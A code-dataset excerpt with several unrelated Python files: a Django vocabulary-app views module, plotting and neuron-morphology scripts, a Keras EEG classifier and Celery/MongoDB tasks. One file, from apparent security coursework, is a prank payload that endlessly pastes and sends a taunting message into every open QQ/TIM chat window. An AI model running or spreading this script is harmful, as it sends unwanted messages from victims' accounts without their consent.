{\n\t\t\t'form': form,\n\t\t\t'user': user,\n\t},context_instance=RequestContext(request))\n\n@login_required\ndef set_plan(request):\n\tuser = request.user\n\treturn render_to_response('set_user_plan.html', {'user': user,})\n\n\nVOCABULARY_BOOK = (\n\t('MID','middle_school'),\n\t('HS','high_school'),\n\t('CET4','CET4'),\n\t('CET6','CET6'),\n\t('TOEFL','TOEFL'),\n\t('UK','unknown')\n\t)\n\n@csrf_exempt\n@login_required\ndef update_plan(request):\n\tuser = request.user\n\tif not user.is_authenticated():\n\t\treturn HttpResponseRedirect(\"/accounts/login/\")\n\telse:\n\t\tif not request.is_ajax():\n\t\t\treturn HttpResponse(\"Not Ajax\")\n\t\tif request.method == 'POST':\n\t\t\tuv = get_uservocabulary(user)\n\t\t\tur = get_userreading(user)\n\t\t\tvplan = [\n\t\t\t\t(50, 50),\n\t\t\t\t(100, 100),\n\t\t\t\t(150, 150)\n\t\t\t]\n\t\t\td = json.loads(request.body)\n\t\t\tvocabulary = int(d['v'])\n\t\t\t#print(vplan[vocabulary][0])\n\t\t\t#print(vplan[vocabulary][1])\n\t\t\tuv.set_count_of_reviews_and_new_words(reviews = vplan[vocabulary][0], new_words = vplan[vocabulary][1])\n\t\t\tvocabulary_book = VOCABULARY_BOOK[int(d['vb'])][0]\n\t\t\tinitialize_new_words(user, vocabulary_book)\n\t\t\tur.set_plan(int(d['r']))\n\t\t\tprint ('++++++')\n\t\t\tprint (d)\n\t\treturn HttpResponse(\"OK\")\n\ndef test_json(request):\n response_data = {}\n return HttpResponse(json.dumps(response_data), content_type=\"application/json\")\n\nVOCABULARY_BOOK_DICT = {\n\t'MID':'初中',\n\t'HS':'高中',\n\t'CET4':'CET4',\n\t'CET6':'CET6',\n\t'TOEFL':'TOEFL',\n\t'UK':'unknown'\n\t}\n\n@login_required\ndef get_plan(request):\n\tuser = request.user\n\tuv = get_uservocabulary(user)\n\tur = get_userreading(user)\n\td = {}\n\td['reviews'] = uv.reviews_count_per_day\n\td['new'] = uv.new_words_count_per_day\n\td['book'] = VOCABULARY_BOOK_DICT[uv.book]\n\td['reading'] = ur.get_plan()\n\t#left for homepage\n\td['state'] = user.profile.uservocabulary.current_overall_status\n\td['totalw'] = uv.get_today_words_by_overall_status(d['state']).count()\n\td['donew'] = uv.get_today_words_by_overall_status_and_today_status(d['state'], 'done').count()\n\td['totalr'] = ur.get_plan()\n\td['doner'] = ur.get_today_process()\n\n\tresponse_data = d\n\treturn HttpResponse(json.dumps(response_data), content_type=\"application/json\")\n\n", "sub_path": "website/mysite/usermanager/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 3880, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.shortcuts.render_to_response", "line_number": 27, "usage_type": "call"}, {"api_name": "core.decorators.have_testing_required", "line_number": 23, "usage_type": "name"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 24, "usage_type": "name"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 33, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 30, "usage_type": "name"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 36, "usage_type": "call"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 41, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 38, "usage_type": "name"}, {"api_name": "django.contrib.auth.views.logout", "line_number": 45, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 46, "usage_type": "call"}, {"api_name": "usermanager.forms.SettingForm", "line_number": 53, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 59, "usage_type": "call"}, {"api_name": "usermanager.forms.SettingForm", "line_number": 61, "usage_type": "call"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 63, "usage_type": "call"}, {"api_name": "django.template.RequestContext", "line_number": 66, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 49, "usage_type": "name"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 71, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 68, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 88, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 91, "usage_type": "call"}, {"api_name": "core.utils.get_uservocabulary", "line_number": 93, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 100, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 110, "usage_type": "call"}, {"api_name": "django.views.decorators.csrf.csrf_exempt", "line_number": 83, "usage_type": "name"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 84, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 114, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 114, "usage_type": "call"}, {"api_name": "core.utils.get_uservocabulary", "line_number": 128, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 143, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 143, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 125, "usage_type": "name"}]} {"seq_id": "224930534", "text": "#!/usr/bin/env python3\n\nimport matplotlib.pyplot as plt\n\nif __name__ == '__main__':\n sites = {}\n with open(0) as fin:\n for line in fin:\n parts = line.split()\n i = parts[0]\n x = float(parts[1])\n y = float(parts[2])\n z = float(parts[3])\n\n first_neighbor_count = int(parts[4])\n if first_neighbor_count == 0:\n first_neighbors = []\n else:\n first_neighbors = parts[5:first_neighbor_count + 5]\n\n if not len(first_neighbors) == int(first_neighbor_count):\n raise Exception(\"Expecting {} first_neighbors; got {}\".format(\n first_neighbor_count, first_neighbors))\n\n second_neighbor_count = int(parts[first_neighbor_count + 5])\n if second_neighbor_count == 0:\n second_neighbors = []\n else:\n second_neighbors = parts[first_neighbor_count + 6:]\n\n if not len(second_neighbors) == int(second_neighbor_count):\n raise Exception(\"Expecting {} second_neighbors; got {}\".format(\n second_neighbor_count, second_neighbors))\n\n sites[i] = {\n 'x': x, 'y': y, 'z': z,\n 'first_neighbors': first_neighbors,\n 'second_neighbors': second_neighbors\n }\n\n fig = plt.figure()\n\n x = []\n y = []\n z = []\n for site_id in sites:\n site = sites[site_id]\n x.append(float(site['x']))\n y.append(float(site['y']))\n z.append(float(site['z']))\n\n ax1 = fig.add_subplot(121, projection='3d')\n ax1.scatter(x, y, z, color='black')\n\n for site_id in sites:\n site = sites[site_id]\n for fn_id in site['first_neighbors']:\n fn = sites[fn_id]\n ax1.plot(\n [float(site['x']), float(fn['x'])],\n [float(site['y']), float(fn['y'])],\n [float(site['z']), float(fn['z'])],\n color='blue')\n\n ax2 = fig.add_subplot(122, projection='3d')\n ax2.scatter(x, y, z, color='black')\n for site_id in sites:\n site = sites[site_id]\n for sn_id in site['second_neighbors']:\n sn = sites[sn_id]\n ax2.plot(\n [float(site['x']), float(sn['x'])],\n [float(site['y']), float(sn['y'])],\n [float(site['z']), float(sn['z'])],\n color='red')\n\n print(\"Showing plot\")\n plt.show()\n", "sub_path": "py/plot_neighbors.py", "file_name": "plot_neighbors.py", "file_ext": "py", "file_size_in_byte": 2489, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "matplotlib.pyplot.figure", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}]} {"seq_id": "334502819", "text": "import win32con,time\nimport win32clipboard as w\nimport win32gui\nimport win32process\nimport psutil\n\n\ndef get_all_hwnd(hwnd, mouse):\n if win32gui.IsWindow(hwnd) and win32gui.IsWindowEnabled(hwnd) and win32gui.IsWindowVisible(hwnd):\n hwnd_title.update({hwnd: win32gui.GetWindowText(hwnd)})\nif __name__ ==\"__main__\":\n\n # 发送的消息\n msg = \"我以为天底下有免费的午餐，没想到这竟然是网安大作业，我被攻击了！！！我以后再也不贪心了><呜呜呜~\"\n # 窗口名字\n # 将测试消息复制到剪切板中\n w.OpenClipboard()\n w.EmptyClipboard()\n w.SetClipboardData(win32con.CF_UNICODETEXT, msg)\n w.CloseClipboard()\n\n while True:\n hwnd_title = dict()\n win32gui.EnumWindows(get_all_hwnd, 0)\n for h, t in hwnd_title.items():\n # 获取窗口句柄\n name = t\n handle = win32gui.FindWindow(None, name)\n thread_id, process_id = win32process.GetWindowThreadProcessId(h)\n process = psutil.Process(process_id)\n if(process.name()==\"TIM.exe\"or process.name()==\"QQ.exe\"):\n # 填充消息\n win32gui.SendMessage(handle, 770, 0, 0)\n # 回车发送消息\n win32gui.SendMessage(handle, win32con.WM_KEYDOWN, win32con.VK_RETURN, 0)\n\n # test_windows_window(h)\n\n", "sub_path": "网络与信息安全/QQ自动发送消息/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1365, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "win32gui.IsWindow", "line_number": 9, "usage_type": "call"}, {"api_name": "win32gui.IsWindowEnabled", "line_number": 9, "usage_type": "call"}, {"api_name": "win32gui.IsWindowVisible", "line_number": 9, "usage_type": "call"}, {"api_name": "win32gui.GetWindowText", "line_number": 10, "usage_type": "call"}, {"api_name": "win32clipboard.OpenClipboard", "line_number": 17, "usage_type": "call"}, {"api_name": "win32clipboard.EmptyClipboard", "line_number": 18, "usage_type": "call"}, {"api_name": "win32clipboard.SetClipboardData", "line_number": 19, "usage_type": "call"}, {"api_name": "win32con.CF_UNICODETEXT", "line_number": 19, "usage_type": "attribute"}, {"api_name": "win32clipboard.CloseClipboard", "line_number": 20, "usage_type": "call"}, {"api_name": "win32gui.EnumWindows", "line_number": 24, "usage_type": "call"}, {"api_name": "win32gui.FindWindow", "line_number": 28, "usage_type": "call"}, {"api_name": "win32process.GetWindowThreadProcessId", "line_number": 29, "usage_type": "call"}, {"api_name": "psutil.Process", "line_number": 30, "usage_type": "call"}, {"api_name": "win32gui.SendMessage", "line_number": 33, "usage_type": "call"}, {"api_name": "win32gui.SendMessage", "line_number": 35, "usage_type": "call"}, {"api_name": "win32con.WM_KEYDOWN", "line_number": 35, "usage_type": "attribute"}, {"api_name": "win32con.VK_RETURN", "line_number": 35, "usage_type": "attribute"}]} {"seq_id": "530735919", "text": "from GJEMS.morph.swcTreeRep import *\nfrom matplotlib import pyplot as plt\nimport os\nimport numpy as np\nimport shutil\n\nplt.ion()\n# part = '-DB'\npart = '-VB'\nFLDLimit = 0.95\nAIlimit = 0.9\n\n\n\noutDir = 'sim/Results/thickerBPs' + part\n\nif os.path.isdir(outDir):\n shutil.rmtree(outDir)\n\nos.mkdir(outDir)\n\n\nfig1 = plt.figure()\nplt.xlim([0, 300])\nplt.ylim([0, 1])\nplt.xlabel('Distance from common point(um)')\nplt.ylabel('len Downstream / total len')\nplt.title('Branching points with fracLenDownstream >' + str(FLDLimit) + 'and Assymetry Index <' + str(AIlimit))\n\n# fig2 = plt.figure()\n# plt.xlabel('Assymetry Index')\n# plt.ylabel('Fraction of tips downstream')\n\nflne = []\nnlne = []\n\nfRadii = []\nnRadii = []\n\nfEucLens = []\nnEucLens = []\n\n# ----------------------------------------------------------------------------------------------------------------------\nforagerSWCPath = 'shapeBasedAlignment/Results/DL-Int1_v2_MultipleAlignment/'\n\nforagerNrns = [\n 'HB130313-4',\n 'HB130322-1',\n # 'HB130326-2',\n 'HB130408-1',\n 'HB130425-1',\n 'HB130501-2',\n # 'HB130705-1',\n 'HB140424-1',\n ]\norigin = [0, 0, 0]\nfSWCFiles = [os.path.join(foragerSWCPath, x, x + part + '_aligned.swc') for x in foragerNrns]\nfCols = plt.cm.spectral(np.linspace(0, 1, len(foragerNrns)))\n# ----------------------------------------------------------------------------------------------------------------------\n\nfor swcInd, swc in enumerate(fSWCFiles):\n\n print('Doing ' + swc)\n swcTree = importSWC2Tree(swc)\n rootNode = swcTree[swcTree.root]\n initTerminalDegree(swcTree)\n initDownstreamLen(swcTree)\n # initBranchLengths(swcTree)\n # initPathLengths(swcTree)\n\n # plt.figure(fig2.number)\n # plt.cla()\n # plt.plot([0, 0.9], [0.75, 0.75], 'k:')\n # plt.plot([0.9, 0.9], [0.75, 1], 'k:')\n\n for node in swcTree.all_nodes():\n if len(node.fpointer) > 1:\n\n for childNde in node.fpointer:\n\n n1 = float(swcTree[childNde].data.downstreamLen)\n n2 = float(node.data.downstreamLen - n1)\n\n assymetryIndex = np.abs(n1 - n2) / (n1 + n2)\n xyzr = getxyzr(node)\n fracLenDownstream = node.data.downstreamLen / float(rootNode.data.downstreamLen)\n\n # plt.figure(fig2.number)\n # plt.plot(assymetryIndex, fracLenDownstream, 'bo', ms=5)\n\n if (assymetryIndex < AIlimit) and (fracLenDownstream > FLDLimit):\n\n plt.figure(fig1.number)\n fEL = np.linalg.norm(xyzr[:3])\n lne, = plt.plot(fEL, fracLenDownstream, color=fCols[swcInd], marker='o', mfc=fCols[swcInd])\n node.data.extraCol = 1\n fRad = node.data.r\n\n\n # print([n1, n2, n1 + n2, assymetryIndex, fracTipsDownstream])\n\n flne.append(lne)\n fEucLens.append(fEL)\n fRadii.append(fRad)\n shutil.copyfile(swc, os.path.join(outDir, os.path.split(swc)[1]))\n exportTree2SWC(swcTree, os.path.join(outDir, os.path.split(swc)[1][:-4] + '_impBPs.sswc'), addExtraCol=True)\n\n\n\n\n\n# ----------------------------------------------------------------------------------------------------------------------\nnewlyEmergedSWCPath = 'shapeBasedAlignment/Results/DL-Int1_v2_MultipleAlignment/'\n\nnewlyEmergedNrns = [\n 'HB130523-3',\n 'HB130605-1',\n # 'HB130605-2',\n 'HB140813-3',\n 'HB140917-1',\n 'HB140930-1',\n 'HB141030-1',\n ]\n\norigin = [0, 0, 0]\n\nnSWCFiles = [os.path.join(newlyEmergedSWCPath, x, x + part + '_aligned.swc') for x in newlyEmergedNrns]\nnCols = plt.cm.spectral(np.linspace(0, 1, len(newlyEmergedNrns)))\n# ----------------------------------------------------------------------------------------------------------------------\n\nfor swcInd, swc in enumerate(nSWCFiles):\n\n print('Doing ' + swc)\n swcTree = importSWC2Tree(swc)\n rootNode = swcTree[swcTree.root]\n initTerminalDegree(swcTree)\n initDownstreamLen(swcTree)\n # initBranchLengths(swcTree)\n # initPathLengths(swcTree)\n\n #branching point features\n bpFeatures = {}\n\n # plt.figure(fig2.number)\n # plt.cla()\n # plt.plot([0, 0.75], [0.75, 0.75], 'k:')\n # plt.plot([0.75, 0.75], [0.75, 1], 'k:')\n\n\n for node in swcTree.all_nodes():\n if len(node.fpointer) > 1:\n\n for childNde in node.fpointer:\n\n n1 = float(swcTree[childNde].data.downstreamLen)\n n2 = float(node.data.downstreamLen - n1)\n\n assymetryIndex = np.abs(n1 - n2) / (n1 + n2)\n xyzr = getxyzr(node)\n fracLenDownstream = node.data.downstreamLen / float(rootNode.data.downstreamLen)\n\n # plt.figure(fig2.number)\n # plt.plot(assymetryIndex, fracLenDownstream, 'bo', ms=5)\n\n if (assymetryIndex < AIlimit) and (fracLenDownstream > FLDLimit):\n\n plt.figure(fig1.number)\n nEL = np.linalg.norm(xyzr[:3])\n lne, = plt.plot(nEL, fracLenDownstream, color=nCols[swcInd], marker='s', mfc=nCols[swcInd])\n node.data.extraCol = 1\n nRad = node.data.r\n\n\n # print([n1, n2, n1 + n2, assymetryIndex, fracTipsDownstream])\n\n nlne.append(lne)\n nRadii.append(nRad)\n nEucLens.append(nEL)\n shutil.copyfile(swc, os.path.join(outDir, os.path.split(swc)[1]))\n exportTree2SWC(swcTree, os.path.join(outDir, os.path.split(swc)[1][:-4] + '_impBPs.sswc'), addExtraCol=True)\n\n\n\nplt.figure(fig1.number)\n\nplt.legend(flne + nlne, foragerNrns + newlyEmergedNrns)\n\nfig3 = plt.figure()\n# bins = np.arange(0, 3, 0.1)\n# binCenters = bins[:-1] + 0.5 * (bins[1] - bins[0])\n#\n# hist, bins = np.histogram(fRadii, bins)\n# plt.plot(binCenters, hist, 'b-o')\n#\n# hist, bins = np.histogram(nRadii, bins)\n# plt.plot(binCenters, hist, 'r-s')\n#\n# plt.xlabel('Radius in um')\n# plt.ylabel('Bin Count')\n# plt.legend(['forager', 'newly emerged'])\n\nplt.errorbar(0, np.mean(fRadii), np.std(fRadii), color='b', marker='o', mfc='b')\nplt.errorbar(1, np.mean(nRadii), np.std(nRadii), color='r', marker='s', mfc='r')\nplt.xticks([0, 1], ['forager', 'newly emerged'])\nplt.xlim([-0.5, 1.5])\n\nfig4 = plt.figure()\nplt.plot(nEucLens, nRadii, 'rs', ms=5)\nplt.plot(fEucLens, fRadii, 'bo', ms=5)", "sub_path": "test_tmp/basicMorphoStats/impBranchPts.py", "file_name": "impBranchPts.py", "file_ext": "py", "file_size_in_byte": 6385, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "matplotlib.pyplot.ion", "line_number": 7, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 7, "usage_type": "name"}, {"api_name": "os.path.isdir", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 18, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 25, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path", "line_number": 57, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.cm.spectral", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.cm", "line_number": 58, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 93, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 93, "usage_type": "name"}, {"api_name": "numpy.linalg.norm", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 94, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 95, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 95, "usage_type": "name"}, {"api_name": "shutil.copyfile", "line_number": 105, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 105, "usage_type": "call"}, {"api_name": "os.path", "line_number": 105, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 105, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 106, "usage_type": "call"}, {"api_name": "os.path", "line_number": 106, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 106, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 127, "usage_type": "call"}, {"api_name": "os.path", "line_number": 127, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.cm.spectral", "line_number": 128, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.cm", "line_number": 128, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 128, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 158, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 167, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 167, "usage_type": "name"}, {"api_name": "numpy.linalg.norm", "line_number": 168, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 168, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 169, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 169, "usage_type": "name"}, {"api_name": "shutil.copyfile", "line_number": 179, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 179, "usage_type": "call"}, {"api_name": "os.path", "line_number": 179, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 179, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 180, "usage_type": "call"}, {"api_name": "os.path", "line_number": 180, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 180, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 184, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 184, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 186, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 186, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 188, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 188, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.errorbar", "line_number": 202, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 202, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 202, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 202, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.errorbar", "line_number": 203, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 203, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 203, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 203, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 204, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 204, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 205, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 205, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 207, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 207, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 208, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 208, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 209, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 209, "usage_type": "name"}]} {"seq_id": "651160387", "text": "# exemplo com o classificadores CNN com Keras - sinal tratado como imagem\r\n# Banco de dados de epilepsia\r\n\r\nimport scipy.io as sio\r\nimport numpy as np\r\n\r\nfrom keras.models import Sequential\r\nfrom keras import layers\r\nfrom keras.optimizers import RMSprop\r\n\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.model_selection import train_test_split\r\n\r\n#Input\r\nsinal_ = sio.loadmat('sinal')\r\nsinal_ = sinal_.get('sinal', 0)\r\n#cria uma matriz\r\nsinal = np.zeros(shape = (sinal_.shape[0], 1, sinal_.shape[1], 1))\r\n#preenche a matriz com os valores desejados\r\nfor k in range(0, sinal_.shape[0]):\r\n sinal[k, 0, :, 0] = sinal_[k, :]\r\n \r\nquantidade_exemplos = sinal.shape[0]\r\nquantidade_amostras = sinal.shape[2]\r\n\r\n#Label\r\nlabel_ = sio.loadmat('label')\r\nlabel_ = label_.get('label', 0)\r\n#cria uma matriz\r\nlabel = np.zeros(shape = (label_.shape[0], ))\r\n#preenche a matriz com os valores desejados\r\nfor k in range(0, label_.shape[0]):\r\n label[k] = label_[k, 0] - 1\r\nlabel = label.astype(np.uint8) \r\n\r\nfrom keras.utils import to_categorical\r\nlabel= to_categorical(label, num_classes=None)\r\n\r\nprint(sinal.shape)\r\nprint(label.shape)\r\n\r\n# Separa treinamento e validação\r\nX_train, X_val, y_train, y_val = train_test_split(sinal,label, test_size=0.2)\r\n\r\n# definir arquitetura da CNN com Keras\r\n\r\nfrom keras import models\r\nmodel = models.Sequential()\r\nmodel.add(layers.Conv2D(10, (1, 5), activation='relu', input_shape=(1, quantidade_amostras, 1)))\r\nmodel.add(layers.MaxPooling2D((1, 2)))\r\nmodel.add(layers.Conv2D(10, (1, 5), activation='relu'))\r\nmodel.add(layers.MaxPooling2D((1, 2)))\r\nmodel.add(layers.Conv2D(10, (1, 5), activation='relu'))\r\n\r\nmodel.add(layers.Flatten())\r\nmodel.add(layers.Dense(10, activation='relu'))\r\nmodel.add(layers.Dense(2, activation='softmax'))\r\n\r\nmodel.summary()\r\n\r\nmodel.compile(optimizer='rmsprop',\r\n loss='mse',\r\n metrics=['accuracy'])\r\nmodel.fit(X_train, y_train, epochs=50)\r\n\r\nval_loss, val_acc = model.evaluate(X_val, y_val)\r\n\r\n\r\n\r\n", "sub_path": "EPL_cnn.py", "file_name": "EPL_cnn.py", "file_ext": "py", "file_size_in_byte": 1984, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "scipy.io.loadmat", "line_number": 15, "usage_type": "call"}, {"api_name": "scipy.io", "line_number": 15, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 18, "usage_type": "call"}, {"api_name": "scipy.io.loadmat", "line_number": 27, "usage_type": "call"}, {"api_name": "scipy.io", "line_number": 27, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 34, "usage_type": "attribute"}, {"api_name": "keras.utils.to_categorical", "line_number": 37, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 43, "usage_type": "call"}, {"api_name": "keras.models.Sequential", "line_number": 48, "usage_type": "call"}, {"api_name": "keras.models", "line_number": 48, "usage_type": "name"}, {"api_name": "keras.layers.Conv2D", "line_number": 49, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 49, "usage_type": "name"}, {"api_name": "keras.layers.MaxPooling2D", "line_number": 50, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 50, "usage_type": "name"}, {"api_name": "keras.layers.Conv2D", "line_number": 51, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 51, "usage_type": "name"}, {"api_name": "keras.layers.MaxPooling2D", "line_number": 52, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 52, "usage_type": "name"}, {"api_name": "keras.layers.Conv2D", "line_number": 53, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 53, "usage_type": "name"}, {"api_name": "keras.layers.Flatten", "line_number": 55, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 55, "usage_type": "name"}, {"api_name": "keras.layers.Dense", "line_number": 56, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 56, "usage_type": "name"}, {"api_name": "keras.layers.Dense", "line_number": 57, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 57, "usage_type": "name"}]} {"seq_id": "233611756", "text": "from celery import Celery\nfrom pymongo import MongoClient\nfrom bson.objectid import ObjectId\nfrom bson import json_util\nfrom python_json_config import ConfigBuilder\nimport json\n\nconfig = ConfigBuilder().parse_config('../config.json')\nHOST = config.server.host\nPORT = config.server.port\nDB = config.server.db\n\napp = Celery('tasks', backend='redis://' + HOST+ ':' + PORT.celery +'/' + str(DB), broker='redis://' + HOST +':' + PORT.celery +'/' + str(DB))\nconn = MongoClient(HOST+':'+PORT.mongo)\ndb = conn.sensor\n\n@app.task\ndef set_sensor(data):\n app.send_task('tasks.set_key', args=[json.dumps(data)])\n _id = db.device.insert(data)\n return str(_id)\n\n@app.task\ndef set_key(data):\n data = json.loads(data)\n kList = [key for key in data]\n for i in kList:\n doc = { 'key':i , 'sensor':data }\n db.keys.insert(doc)\n\n@app.task\ndef get_key(value):\n kList = []\n if(value == None):\n li = list(db.keys.find({},{ 'key':1 }))\n for i in li:\n kList.append(i['key'])\n kList = list(set(kList))\n else:\n li = list(db.keys.find({ 'key':value },{ 'sensor':1 }))\n for i in li:\n tmp = i['sensor']\n kList.append(tmp)\n return str(json.dumps(kList, default=json_util.default))\n\n@app.task\ndef get_sensor(key, value):\n if(key == None):\n li = list(db.device.find({}))\n else:\n if(key == '_id'):\n value = ObjectId(value)\n li = list(db.device.find({ key:value }))\n print(f'탐색된 센서의 개수: {len(li)}')\n return str(json.dumps(li, default=json_util.default))\n\n@app.task\ndef update_sensor(key, value, skey, svalue):\n db.device.update_sensor_one({ key:value },{'$set':{ skey: svalue }})\n result = db.device.find_one({ key:value })\n return json.dumps(result,default=json_util.default)\n\n@app.task\ndef delete_sensor(key, value):\n if(key == None):\n db.device.drop()\n db.keys.drop()\n else:\n tmp = list(db.device.find({ key:value }, {'_id':0 }))\n for i in tmp:\n app.send_task('tasks.delete_key', args=[json.dumps(i)])\n result = db.device.remove({ key:value })\n\n@app.task\ndef delete_key(data):\n data = json.loads(data)\n db.keys.remove({ 'sensor':data })\n\n", "sub_path": "regist/tasks_trans.py", "file_name": "tasks_trans.py", "file_ext": "py", "file_size_in_byte": 2243, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "python_json_config.ConfigBuilder", "line_number": 